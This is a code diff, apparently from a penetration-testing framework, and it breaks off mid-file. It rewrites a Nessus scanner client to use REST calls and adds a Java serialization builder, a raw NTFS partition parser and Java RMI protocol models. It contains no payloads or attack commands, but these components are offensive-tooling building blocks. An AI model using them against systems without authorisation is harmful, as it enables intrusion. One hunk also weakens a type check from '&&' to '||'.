and return XML file - # - # returns: XML file of report (nessus v2 format) - def report_file_download(report) - post= { "token" => @token, "report" => report } - file = nil - file=nessus_http_request('file/report/download', post) - if file.nil? - return - end - return file + + def server_properties + http_get(:uri=>"/server/properties", :fields=>x_cookie) end - # get report by reportID and return XML file (version 1) - # - # returns: XML file of report (nessus v1 format) - def report_file1_download(report) - post= { "token" => @token, "report" => report, "v1" => "true" } - - file=nessus_http_request('file/report/download', post) - - return file - end - - # delete report by report ID - def report_delete(id) - post= { "token" => @token, "report" => id } - docxml = nil - docxml=nessus_request('report/delete', post) - if docxml.nil? - return - end - return docxml + def scan_create(uuid, name, description, targets) + payload = { + :uuid => uuid, + :settings => { + :name => name, + :description => description, + :text_targets => targets + }, + :json => 1 + }.to_json + http_post(:uri=>"/scans", :body=>payload, :fields=>x_cookie, :ctype=>'application/json') end - # get list of names of policies - # - # returns: array of names - def policy_list_names - post= { "token" => @token } - docxml = nil - docxml=nessus_request('policy/list', post) - if docxml.nil? - return - end - list = Array.new - docxml.root.elements['contents'].elements['policies'].each_element('//policy') {|policy| - list.push policy.elements['policyName'].text - } - return list + def scan_launch(scan_id) + http_post(:uri=>"/scans/#{scan_id}/launch", :fields=>x_cookie) end - # get data for each host for a particular report - # - # - # returns: array of hashes: - # hostname - # severity - # severityCount0 - # severityCount1 - # severityCount2 - # severityCount3 - # scanProgressCurrent - # scanprogressTotal - def report_hosts(report_id) - post= { "token" => @token, "report" => report_id } - docxml = nil - docxml=nessus_request('report/hosts', post) - if docxml.nil? - return - end - hosts=Array.new - docxml.elements.each('/reply/contents/hostList/host') do |host| - entry=Hash.new - entry['hostname'] = host.elements['hostname'].text if host.elements['hostname'] - entry['severity'] = host.elements['severity'].text if host.elements['severity'] - sevs=Array.new - host.elements.each('severityCount/item') do |item| - sevs.push item.elements['count'].text if item.elements['count'] - end - entry['sev0'] = sevs[0] if sevs[0] - entry['sev1'] = sevs[1] if sevs[1] - entry['sev2'] = sevs[2] if sevs[2] - entry['sev3'] = sevs[3] if sevs[3] - entry['current'] = host.elements['scanProgressCurrent'].text if host.elements['scanProgressCurrent'] - entry['total'] = host.elements['scanProgressTotal'].text if host.elements['scanProgressTotal'] - hosts.push(entry) - end - return hosts - end - - def report_host_ports(report_id,host) - post= { "token" => @token, "report" => report_id, "hostname" => host } - docxml = nil - docxml=nessus_request('report/ports', post) - if docxml.nil? - return - end - ports=Array.new - docxml.elements.each('/reply/contents/portList/port') do |port| - entry=Hash.new - entry['portnum'] = port.elements['portNum'].text if port.elements['portNum'] - entry['protocol'] = port.elements['protocol'].text if port.elements['protocol'] - entry['severity'] = port.elements['severity'].text if port.elements['severity'] - entry['svcname'] = port.elements['svcName'].text if port.elements['svcName'] - sevs=Array.new - port.elements.each('severityCount/item') do |item| - sevs.push item.elements['count'].text if item.elements['count'] - end - entry['sev0'] = sevs[0] if sevs[0] - entry['sev1'] = sevs[1] if sevs[1] - entry['sev2'] = sevs[2] if sevs[2] - entry['sev3'] = sevs[3] if sevs[3] - ports.push(entry) - end - return ports - end - - def report_host_port_details(report_id,host,port,protocol) - post= { "token" => @token, "report" => report_id, "hostname" => host, "port" => port, "protocol" => protocol } - docxml = nil - docxml=nessus_request('report/details', post) - if docxml.nil? - return - end - reportitems=Array.new - docxml.elements.each('/reply/contents/portDetails/ReportItem') do |rpt| - entry=Hash.new - cve = Array.new - bid = Array.new - entry['port'] = rpt.elements['port'].text if rpt.elements['port'] - entry['severity'] = rpt.elements['severity'].text if rpt.elements['severity'] - entry['pluginID'] = rpt.elements['pluginID'].text if rpt.elements['pluginID'] - entry['pluginName'] = rpt.elements['pluginName'].text if rpt.elements['pluginName'] - entry['cvss_base_score'] = rpt.elements['data'].elements['cvss_base_score'].text if rpt.elements['data'].elements['cvss_base_score'] - entry['exploit_available'] = rpt.elements['data'].elements['exploit_available'].text if rpt.elements['data'].elements['exploit_available'] - if rpt.elements['data'].elements['cve'] - rpt.elements['data'].elements['cve'].each do |x| - cve.push rpt.elements['data'].elements['cve'].text - end - end - entry['cve'] = cve if cve - entry['risk_factor'] = rpt.elements['data'].elements['risk_factor'].text if rpt.elements['data'].elements['risk_factor'] - entry['cvss_vector'] = rpt.elements['data'].elements['cvss_vector'].text if rpt.elements['data'].elements['cvss_vector'] - entry['solution'] = rpt.elements['data'].elements['solution'].text if rpt.elements['data'].elements['solution'] - entry['description'] = rpt.elements['data'].elements['description'].text if rpt.elements['data'].elements['description'] - entry['synopsis'] = rpt.elements['data'].elements['synopsis'].text if rpt.elements['data'].elements['synopsis'] - entry['see_also'] = rpt.elements['data'].elements['see_also'].text if rpt.elements['data'].elements['see_also'] - if rpt.elements['data'].elements['bid'] - rpt.elements['data'].elements['bid'].each do |y| - bid.push rpt.elements['data'].elements['bid'].text - end - end - entry['bid'] = bid if bid - #entry['xref'] = rpt.elements['data'].elements['xref'].text # multiple of these - entry['plugin_output'] = rpt.elements['data'].elements['plugin_output'].text if rpt.elements['data'].elements['plugin_output'] - reportitems.push(entry) - end - return reportitems + def server_status + http_get(:uri=>"/server/status", :fields=>x_cookie) end - # get host details for particular host identified by report id - # - # returns: severity, current, total - def report_get_host(report_id,hostname) - post= { "token" => @token, "report" => report_id } - docxml = nil - docxml=nessus_request('report/hosts', post) - if docxml.nil? - return - end - docxml.elements.each('/reply/contents/hostList/host') do |host| - if host.elements['hostname'].text == hostname - severity = host.elements['severity'].text - current = host.elements['scanProgressCurrent'].text - total = host.elements['scanProgressTotal'].text - return severity, current, total - end - end + def scan_list + http_get(:uri=>"/scans", :fields=>x_cookie) end - - # gets a list of each plugin family and the number of plugins for that family. - def plugins_list - post= { "token" => @token } - docxml = nil - docxml=nessus_request('plugins/list', post) - if docxml.nil? - return - end - plugins=Array.new - docxml.root.elements['contents'].elements['pluginFamilyList'].each_element('//family') { |plugin| - entry=Hash.new - entry['name']=plugin.elements['familyName'].text - entry['num']=plugin.elements['numFamilyMembers'].text - plugins.push(entry) - } - return plugins - end - - #returns a list of users, if they are an admin and their last login time. - def users_list - post= { "token" => @token } - docxml = nil - docxml=nessus_request('users/list', post) - if docxml.nil? - return - end - users=Array.new - docxml.root.elements['contents'].elements['users'].each_element('//user') { |user| - entry=Hash.new - entry['name']=user.elements['name'].text - entry['admin']=user.elements['admin'].text - entry['lastlogin']=user.elements['lastlogin'].text - users.push(entry) - } - return users - end - - # returns basic data about the feed type and versions. - def feed - post = { "token" => @token } - docxml = nil - docxml = nessus_request('feed', post) - if docxml.nil? - return - end - feed = docxml.root.elements['contents'].elements['feed'].text - version = docxml.root.elements['contents'].elements['server_version'].text - web_version = docxml.root.elements['contents'].elements['web_server_version'].text - return feed, version, web_version - end - - def user_add(user,pass) - post= { "token" => @token, "login" => user, "password" => pass } - docxml = nil - docxml = nessus_request('users/add', post) - if docxml.nil? - return - end - return docxml - end - - def user_del(user) - post= { "token" => @token, "login" => user } - docxml = nil - docxml = nessus_request('users/delete', post) - if docxml.nil? - return - end - return docxml - end - - def user_pass(user,pass) - post= { "token" => @token, "login" => user, "password" => pass } - docxml = nil - docxml = nessus_request('users/chpasswd', post) - if docxml.nil? - return - end - return docxml - end - - def plugin_family(fam) - post = { "token" => @token, "family" => fam } - docxml = nil - docxml = nessus_request('plugins/list/family', post) - if docxml.nil? - return - end - family=Array.new - docxml.elements.each('/reply/contents/pluginList/plugin') { |plugin| - entry=Hash.new - entry['filename'] = plugin.elements['pluginFileName'].text if plugin.elements['pluginFileName'] - entry['id'] = plugin.elements['pluginID'].text if plugin.elements['pluginID'] - entry['name'] = plugin.elements['pluginName'].text if plugin.elements['pluginName'] - family.push(entry) - } - return family - end - - def policy_del(pid) - post= { "token" => @token, "policy_id" => pid } - docxml = nil - docxml = nessus_request('policy/delete', post) - if docxml.nil? - return - end - return docxml - end - - def report_del(rid) - post= { "token" => @token, "report" => rid } - docxml = nil - docxml = nessus_request('report/delete', post) - if docxml.nil? - return - end - return docxml - end - - def plugin_detail(pname) - post = { "token" => @token, "fname" => pname } - docxml = nil - docxml = nessus_request('plugins/description', post) - if docxml.nil? - return - end - entry=Hash.new - docxml.elements.each('reply/contents/pluginDescription') { |desc| - entry['name'] = desc.elements['pluginName'].text - entry['id'] = desc.elements['pluginID'].text - entry['family'] = desc.elements['pluginFamily'].text - desc.elements.each('pluginAttributes') { |attr| - entry['exploit_ease'] = attr.elements['exploitability_ease'].text if attr.elements['exploitability_ease'] - entry['cvss_temporal_vector'] = attr.elements['cvss_temporal_vector'].text if attr.elements['cvss_temporal_vector'] - entry['solution'] = attr.elements['solution'].text if attr.elements['solution'] - entry['cvss_temporal_score'] = attr.elements['cvss_temporal_score'].text if attr.elements['cvss_temporal_score'] - entry['risk_factor'] = attr.elements['risk_factor'].text if attr.elements['risk_factor'] - entry['description'] = attr.elements['description'].text if attr.elements['description'] - entry['plugin_publication_date'] = attr.elements['plugin_publication_date'].text if attr.elements['plugin_publication_date'] - entry['cvss_vector'] = attr.elements['cvss_vector'].text if attr.elements['cvss_vector'] - entry['synopsis'] = attr.elements['synopsis'].text if attr.elements['synopsis'] - entry['exploit_available'] = attr.elements['exploit_available'].text if attr.elements['exploit_available'] - entry['plugin_modification_date'] = attr.elements['plugin_modification_date'].text if attr.elements['plugin_modification_date'] - entry['cvss_base_score'] = attr.elements['cvss_base_score'].text if attr.elements['cvss_base_score'] - } - } - return entry - end - - def server_prefs - post= { "token" => @token } - docxml = nil - docxml = nessus_request('preferences/list', post) - if docxml.nil? - return - end - prefs = Array.new - docxml.elements.each('/reply/contents/ServerPreferences/preference') { |pref| - entry=Hash.new - entry['name'] = pref.elements['name'].text if pref.elements['name'] - entry['value']= pref.elements['value'].text if pref.elements['value'] - prefs.push(entry) - } - return prefs - end - - def plugin_prefs - post= { "token" => @token } - docxml = nil - docxml = nessus_request('plugins/preferences', post) - if docxml.nil? - return - end - prefs = Array.new - docxml.elements.each('/reply/contents/PluginsPreferences/item') { |pref| - entry=Hash.new - entry['fullname'] = pref.elements['fullName'].text if pref.elements['fullName'] - entry['pluginname'] = pref.elements['pluginName'].text if pref.elements['pluginName'] - entry['prefname'] = pref.elements['preferenceName'].text if pref.elements['preferenceName'] - entry['preftype'] = pref.elements['preferenceType'].text if pref.elements['preferenceType'] - entry['prefvalues'] = pref.elements['preferenceValues'].text if pref.elements['preferenceValues'] - prefs.push(entry) - } - return prefs - end - end # end of NessusXMLRPC::Class -end # of Module + def scan_details(scan_id) + http_get(:uri=>"/scans/#{scan_id}", :fields=>x_cookie) + end + def scan_pause(scan_id) + http_post(:uri=>"/scans/#{scan_id}/pause", :fields=>x_cookie) + end + + def scan_resume(scan_id) + http_post(:uri=>"/scans/#{scan_id}/resume", :fields=>x_cookie) + end + + def scan_stop(scan_id) + http_post(:uri=>"/scans/#{scan_id}/stop", :fields=>x_cookie) + end + + def scan_export(scan_id, format) + payload = { + :format => format + }.to_json + http_post(:uri=>"/scans/#{scan_id}/export", :body=>payload, :ctype=>'application/json', :fields=>x_cookie) + end + + def scan_export_status(scan_id, file_id) + request = Net::HTTP::Get.new("/scans/#{scan_id}/export/#{file_id}/status") + request.add_field("X-Cookie", @token) + res = @connection.request(request) + if res.code == "200" + return "ready" + else + res = JSON.parse(res.body) + return res + end + end + + def policy_delete(policy_id) + res = http_delete(:uri=>"/policies/#{policy_id}", :fields=>x_cookie) + return res.code + end + + def host_detail(scan_id, host_id) + res = http_get(:uri=>"/scans/#{scan_id}/hosts/#{host_id}", :fields=>x_cookie) + end + + def report_download(scan_id, file_id) + res = http_get(:uri=>"/scans/#{scan_id}/export/#{file_id}/download", :raw_content=> true, :fields=>x_cookie) + end + + private + + def http_put(opts={}) + uri = opts[:uri] + data = opts[:data] + fields = opts[:fields] || {} + res = nil + + req = Net::HTTP::Put.new(uri) + req.set_form_data(data) unless data.blank? + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return res + end + + res + end + + def http_delete(opts={}) + uri = opts[:uri] + fields = opts[:fields] || {} + res = nil + + req = Net::HTTP::Delete.new(uri) + + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return res + end + + res + end + + def http_get(opts={}) + uri = opts[:uri] + fields = opts[:fields] || {} + raw_content = opts[:raw_content] || false + json = {} + + req = Net::HTTP::Get.new(uri) + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return json + end + if !raw_content + parse_json(res.body) + else + res.body + end + end + + def http_post(opts={}) + uri = opts[:uri] + data = opts[:data] + fields = opts[:fields] || {} + body = opts[:body] + ctype = opts[:ctype] + json = {} + + req = Net::HTTP::Post.new(uri) + req.set_form_data(data) unless data.blank? + req.body = body unless body.blank? + req['Content-Type'] = ctype unless ctype.blank? + fields.each_pair do |name, value| + req.add_field(name, value) + end + + begin + res = @connection.request(req) + rescue URI::InvalidURIError + return json + end + + parse_json(res.body) + end + + def parse_json(body) + buf = {} + + begin + buf = JSON.parse(body) + rescue JSON::ParserError + end + + buf + end + + end +end diff --git a/lib/rex/java/serialization.rb b/lib/rex/java/serialization.rb index 983e8472e8..0761c15fdb 100644 --- a/lib/rex/java/serialization.rb +++ b/lib/rex/java/serialization.rb @@ -51,4 +51,5 @@ module Rex end end -require 'rex/java/serialization/model' \ No newline at end of file +require 'rex/java/serialization/model' +require 'rex/java/serialization/builder' \ No newline at end of file diff --git a/lib/rex/java/serialization/builder.rb b/lib/rex/java/serialization/builder.rb new file mode 100644 index 0000000000..c9e69c26a5 --- /dev/null +++ b/lib/rex/java/serialization/builder.rb @@ -0,0 +1,94 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + # This class provides a builder to help in the construction of + # Java serialized contents. + class Builder + + # Creates a Rex::Java::Serialization::Model::NewArray + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [String] :values_type + # @option opts [Array] :values + # @return [Rex::Java::Serialization::Model::NewArray] + # @see #new_class + def new_array(opts = {}) + class_desc = opts[:description] || new_class(opts) + type = opts[:values_type] || '' + values = opts[:values] || [] + + array = Rex::Java::Serialization::Model::NewArray.new + array.array_description = Rex::Java::Serialization::Model::ClassDesc.new + array.array_description.description = class_desc + array.type = type + array.values = values + + array + end + + # Creates a Rex::Java::Serialization::Model::NewObject + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}] + # @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description + # @option opts [Array] :data + # @return [Rex::Java::Serialization::Model::NewObject] + # @see #new_class + def new_object(opts = {}) + class_desc = opts[:description] || new_class(opts) + data = opts[:data] || [] + + object = Rex::Java::Serialization::Model::NewObject.new + object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new + object.class_desc.description = class_desc + object.class_data = data + + object + end + + # Creates a Rex::Java::Serialization::Model::NewClassDesc + # + # @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}] + # @option opts [String] :name + # @option opts [Fixnum] :serial + # @option opts [Fixnum] :flags + # @option opts [Array] :fields + # @option opts [Array] :annotations + # @option opts [Rex::Java::Serialization::Model::Element] :super_class + # @return [Rex::Java::Serialization::Model::NewClassDesc] + def new_class(opts = {}) + class_name = opts[:name] || '' + serial_version = opts[:serial] || 0 + flags = opts[:flags] || 2 + fields = opts[:fields] || [] + annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::EndBlockData.new] + super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new + + class_desc = Rex::Java::Serialization::Model::NewClassDesc.new + class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name) + class_desc.serial_version = serial_version + class_desc.flags = flags + class_desc.fields = [] + + fields.each do |f| + field = Rex::Java::Serialization::Model::Field.new + field.type = f[0] + field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1]) + field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2] + class_desc.fields << field + end + + class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new + class_desc.class_annotation.contents = annotations + class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new + class_desc.super_class.description = super_class + + class_desc + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb index d6e245c73c..c2ab0630a8 100644 --- a/lib/rex/java/serialization/model/new_array.rb +++ b/lib/rex/java/serialization/model/new_array.rb @@ -109,6 +109,11 @@ module Rex desc = array_description.description + if desc.class == Reference + ref = desc.handle - BASE_WIRE_HANDLE + desc = stream.references[ref] + end + unless desc.class_name.contents[0] == '[' # Array raise ::RuntimeError, 'Unsupported NewArray description' end diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb index 1212c2faec..c665ebb593 100644 --- a/lib/rex/java/serialization/model/new_class_desc.rb +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -66,9 +66,9 @@ module Rex # @return [String] if serialization succeeds # @raise [RuntimeError] if serialization doesn't succeed def encode - unless class_name.kind_of?(Rex::Java::Serialization::Model::Utf) && - class_annotation.kind_of?(Rex::Java::Serialization::Model::Annotation) && - super_class.kind_of?(Rex::Java::Serialization::Model::ClassDesc) + unless class_name.class == Rex::Java::Serialization::Model::Utf || + class_annotation.class == Rex::Java::Serialization::Model::Annotation || + super_class.class == Rex::Java::Serialization::Model::ClassDesc raise ::RuntimeError, 'Filed to serialize NewClassDesc' end encoded = '' diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index b327800089..cbd6f79761 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -95,8 +95,13 @@ module Rex def decode_class_data(io, my_class_desc) values = [] - unless my_class_desc.super_class.description.kind_of?(NullReference) - values += decode_class_data(io, my_class_desc.super_class.description) + unless my_class_desc.super_class.description.class == NullReference + if my_class_desc.super_class.description.class == Reference + ref = my_class_desc.super_class.description.handle - BASE_WIRE_HANDLE + values += decode_class_data(io, stream.references[ref]) + else + values += decode_class_data(io, my_class_desc.super_class.description) + end end values += decode_class_fields(io, my_class_desc) diff --git a/lib/rex/parser/fs/ntfs.rb b/lib/rex/parser/fs/ntfs.rb new file mode 100644 index 0000000000..c7aade718b --- /dev/null +++ b/lib/rex/parser/fs/ntfs.rb @@ -0,0 +1,252 @@ +# -*- coding: binary -*- +module Rex + module Parser + ### + # + # This class parses the contents of an NTFS partition file. + # Author : Danil Bazin <danil.bazin[at]hsc.fr> @danilbaz + # + ### + class NTFS + # + # Initialize the NTFS class with an already open file handler + # + DATA_ATTRIBUTE_ID = 128 + INDEX_ROOT_ID = 144 + INDEX_ALLOCATION_ID = 160 + def initialize(file_handler) + @file_handler = file_handler + data = @file_handler.read(4096) + # Boot sector reading + @bytes_per_sector = data[11, 2].unpack('v')[0] + @sector_per_cluster = data[13].unpack('C')[0] + @cluster_per_mft_record = data[64].unpack('c')[0] + if @cluster_per_mft_record < 0 + @bytes_per_mft_record = 2**(-@cluster_per_mft_record) + @cluster_per_mft_record = @bytes_per_mft_record.to_f / @bytes_per_sector / @sector_per_cluster + else + @bytes_per_mft_record = @bytes_per_sector * @sector_per_cluster * @cluster_per_mft_record + end + @bytes_per_cluster = @sector_per_cluster * @bytes_per_sector + @mft_logical_cluster_number = data[48, 8].unpack('Q<')[0] + @mft_offset = @mft_logical_cluster_number * @sector_per_cluster * @bytes_per_sector + @file_handler.seek(@mft_offset) + @mft = @file_handler.read(@bytes_per_mft_record) + end + + # + # Gather the MFT entry corresponding to his number + # + def mft_record_from_mft_num(mft_num) + mft_num_offset = mft_num * @cluster_per_mft_record + mft_data_attribute = mft_record_attribute(@mft)[DATA_ATTRIBUTE_ID]['data'] + cluster_from_attribute_non_resident(mft_data_attribute, mft_num_offset, @bytes_per_mft_record) + end + + # + # Get the size of the file in the $FILENAME (64) attribute + # + def real_size_from_filenameattribute(attribute) + filename_attribute = attribute + filename_attribute[48, 8].unpack('Q<')[0] + end + + # + # Gather the name of the file from the $FILENAME (64) attribute + # + def filename_from_filenameattribute(attribute) + filename_attribute = attribute + length_of_name = filename_attribute[64].ord + # uft16 *2 + d = ::Encoding::Converter.new('UTF-16LE', 'UTF-8') + d.convert(filename_attribute[66, (length_of_name * 2)]) + end + + # + # Get the file from the MFT number + # The size must be gived because the $FILENAME attribute + # in the MFT entry does not contain it + # The file is in $DATA (128) Attribute + # + def file_content_from_mft_num(mft_num, size) + mft_record = mft_record_from_mft_num(mft_num) + attribute_list = mft_record_attribute(mft_record) + if attribute_list[DATA_ATTRIBUTE_ID]['resident'] + return attribute_list[DATA_ATTRIBUTE_ID]['data'] + else + data_attribute = attribute_list[DATA_ATTRIBUTE_ID]['data'] + return cluster_from_attribute_non_resident(data_attribute)[0, size] + end + end + + # + # parse one index record and return the name, MFT number and size of the file + # + def parse_index(index_entry) + res = {} + filename_size = index_entry[10, 2].unpack('v')[0] + filename_attribute = index_entry[16, filename_size] + # Should be 8 bytes but it doesn't work + # mft_offset = index_entry[0.unpack('Q<',:8])[0] + # work with 4 bytes + mft_offset = index_entry[0, 4].unpack('V')[0] + res[filename_from_filenameattribute(filename_attribute)] = { + 'mft_offset' => mft_offset, + 'file_size' => real_size_from_filenameattribute(filename_attribute) } + res + end + + # + # parse index_record in $INDEX_ROOT and recursively index_record in + # INDEX_ALLOCATION + # + def parse_index_list(index_record, index_allocation_attribute) + offset_index_entry_list = index_record[0, 4].unpack('V')[0] + index_size = index_record[offset_index_entry_list + 8, 2].unpack('v')[0] + index_size_in_bytes = index_size * @bytes_per_cluster + index_entry = index_record[offset_index_entry_list, index_size] + res = {} + while index_entry[12, 4].unpack('V')[0] & 2 != 2 + res.update(parse_index(index_entry)) + # if son + if index_entry[12, 4].unpack('V')[0] & 1 == 1 + # should be 8 bytes length + vcn = index_entry[-8, 4].unpack('V')[0] + vcn_in_bytes = vcn * @bytes_per_cluster + res_son = parse_index_list(index_allocation_attribute[vcn_in_bytes + 24, index_size_in_bytes], index_allocation_attribute) + res.update(res_son) + end + offset_index_entry_list += index_size + index_size = index_record[offset_index_entry_list + 8, 2].unpack('v')[0] + index_size_in_bytes = index_size * @bytes_per_cluster + index_entry = index_record [offset_index_entry_list, index_size] + end + # if son on the last + if index_entry[12, 4].unpack('V')[0] & 1 == 1 + # should be 8 bytes length + vcn = index_entry[-8, 4].unpack('V')[0] + vcn_in_bytes = vcn * @bytes_per_cluster + res_son = parse_index_list(index_allocation_attribute[vcn_in_bytes + 24, index_size_in_bytes], index_allocation_attribute) + res.update(res_son) + end + res + end + + # + # return the list of files in attribute directory and their MFT number and size + # + def index_list_from_attributes(attributes) + index_root_attribute = attributes[INDEX_ROOT_ID] + index_record = index_root_attribute[16, index_root_attribute.length - 16] + if attributes.key?(INDEX_ALLOCATION_ID) + return parse_index_list(index_record, attributes[INDEX_ALLOCATION_ID]) + else + return parse_index_list(index_record, '') + end + end + + def cluster_from_attribute_non_resident(attribute, cluster_num = 0, size_max = ((2**31) - 1)) + lowvcn = attribute[16, 8].unpack('Q<')[0] + highvcn = attribute[24, 8].unpack('Q<')[0] + offset = attribute[32, 2].unpack('v')[0] + real_size = attribute[48, 8].unpack('Q<')[0] + attribut = '' + run_list_num = lowvcn + old_offset = 0 + while run_list_num <= highvcn + first_runlist_byte = attribute[offset].ord + run_offset_size = first_runlist_byte >> 4 + run_length_size = first_runlist_byte & 15 + run_length = attribute[offset + 1, run_length_size] + run_length += "\x00" * (8 - run_length_size) + run_length = run_length.unpack('Q<')[0] + + offset_run_offset = offset + 1 + run_length_size + run_offset = attribute[offset_run_offset, run_offset_size] + if run_offset[-1].ord & 128 == 128 + run_offset += "\xFF" * (8 - run_offset_size) + else + run_offset += "\x00" * (8 - run_offset_size) + end + run_offset = run_offset.unpack('q<')[0] + #offset relative to previous offset + run_offset += old_offset + + size_wanted = [run_length * @bytes_per_cluster, size_max - attribut.length].min + if cluster_num + (size_max / @bytes_per_cluster) >= run_list_num && (cluster_num < run_length + run_list_num) + run_list_offset_in_cluster = run_offset + [cluster_num - run_list_num, 0].max + run_list_offset = (run_list_offset_in_cluster) * @bytes_per_cluster + run_list_offset = run_list_offset.to_i + @file_handler.seek(run_list_offset) + + data = '' + while data.length < size_wanted + data << @file_handler.read(size_wanted - data.length) + end + attribut << data + end + offset += run_offset_size + run_length_size + 1 + run_list_num += run_length + old_offset = run_offset + end + attribut = attribut[0, real_size] + attribut + end + + # + # return the attribute list from the MFT record + # deal with resident and non resident attributes (but not $DATA due to performance issue) + # + def mft_record_attribute(mft_record) + attribute_list_offset = mft_record[20, 2].unpack('C')[0] + curs = attribute_list_offset + attribute_identifier = mft_record[curs, 4].unpack('V')[0] + res = {} + while attribute_identifier != 0xFFFFFFFF + # attribute_size=mft_record[curs + 4, 4].unpack('V')[0] + # should be on 4 bytes but doesnt work + attribute_size = mft_record[curs + 4, 2].unpack('v')[0] + # resident + if mft_record[curs + 8] == "\x00" + content_size = mft_record[curs + 16, 4].unpack('V')[0] + content_offset = mft_record[curs + 20, 2].unpack('v')[0] + res[attribute_identifier] = mft_record[curs + content_offset, content_size] + else + # non resident + if attribute_identifier == DATA_ATTRIBUTE_ID + res[attribute_identifier] = mft_record[curs, attribute_size] + else + res[attribute_identifier] = cluster_from_attribute_non_resident(mft_record[curs, attribute_size]) + end + end + if attribute_identifier == DATA_ATTRIBUTE_ID + res[attribute_identifier] = { + 'data' => res[attribute_identifier], + 'resident' => mft_record[curs + 8] == "\x00" } + end + curs += attribute_size + attribute_identifier = mft_record[curs, 4].unpack('V')[0] + end + res + end + + # + # return the file path in the NTFS partition + # + def file(path) + repertory = mft_record_from_mft_num(5) + index_entry = {} + path.split('\\').each do |r| + attributes = mft_record_attribute(repertory) + index = index_list_from_attributes(attributes) + unless index.key?(r) + fail ArgumentError, 'File path does not exist', caller + end + index_entry = index[r] + repertory = mft_record_from_mft_num(index_entry['mft_offset']) + end + file_content_from_mft_num(index_entry['mft_offset'], index_entry['file_size']) + end + end + end +end diff --git a/lib/rex/proto.rb b/lib/rex/proto.rb index dbfd86c47e..8696fcd5ea 100644 --- a/lib/rex/proto.rb +++ b/lib/rex/proto.rb @@ -6,6 +6,7 @@ require 'rex/proto/dcerpc' require 'rex/proto/drda' require 'rex/proto/iax2' require 'rex/proto/kerberos' +require 'rex/proto/rmi' module Rex module Proto diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb new file mode 100644 index 0000000000..74505c57f2 --- /dev/null +++ b/lib/rex/proto/rmi.rb @@ -0,0 +1,7 @@ +# -*- coding: binary -*- + +# JAVA RMI Wire protocol implementation +# http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html + +require 'rex/proto/rmi/model' + diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb new file mode 100644 index 0000000000..3166506d87 --- /dev/null +++ b/lib/rex/proto/rmi/model.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + SIGNATURE = 'JRMI' + STREAM_PROTOCOL = 0x4b + SINGLE_OP_PROTOCOL = 0x4c + MULTIPLEX_PROTOCOL = 0x4d + CALL_MESSAGE = 0x50 + PING_MESSAGE = 0x52 + DGC_ACK_MESSAGE = 0x54 + PROTOCOL_ACK = 0x4e + PROTOCOL_NOT_SUPPORTED = 0x4f + RETURN_DATA = 0x51 + PING_ACK = 0x53 + end + end + end +end + +require 'rex/proto/rmi/model/element' +require 'rex/proto/rmi/model/output_header' +require 'rex/proto/rmi/model/protocol_ack' +require 'rex/proto/rmi/model/continuation' +require 'rex/proto/rmi/model/call' +require 'rex/proto/rmi/model/return_data' +require 'rex/proto/rmi/model/dgc_ack' +require 'rex/proto/rmi/model/ping' +require 'rex/proto/rmi/model/ping_ack' \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb new file mode 100644 index 0000000000..120ee8a8fe --- /dev/null +++ b/lib/rex/proto/rmi/model/call.rb @@ -0,0 +1,60 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI call message + class Call < Element + + # @!attribute message_id + # @return [Fixnum] the message id + attr_accessor :message_id + # @!attribute call_data + # @return [Rex::Java::Serialization::Model::Stream] the serialized call data + attr_accessor :call_data + + private + + # Reads the message id from the IO + # + # @param io [IO] the IO to read from + # @return [String] + # @raise [RuntimeError] if fails to decode the message id + def decode_message_id(io) + message_id = read_byte(io) + unless message_id == CALL_MESSAGE + raise ::RuntimeError, 'Failed to decode Call message id' + end + + message_id + end + + # Reads and deserializes the call data from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Java::Serialization::Model::Stream] + def decode_call_data(io) + call_data = Rex::Java::Serialization::Model::Stream.decode(io) + + call_data + end + + # Encodes the message_id field + # + # @return [String] + def encode_message_id + [message_id].pack('C') + end + + # Encodes the address field + # + # @return [String] + def encode_call_data + call_data.encode + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/continuation.rb b/lib/rex/proto/rmi/model/continuation.rb new file mode 100644 index 0000000000..e7e801c4ad --- /dev/null +++ b/lib/rex/proto/rmi/model/continuation.rb @@ -0,0 +1,76 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI continuation stream + class Continuation < Element + + # @!attribute length + # @return [Fixnum] the end point address length + attr_accessor :length + # @!attribute 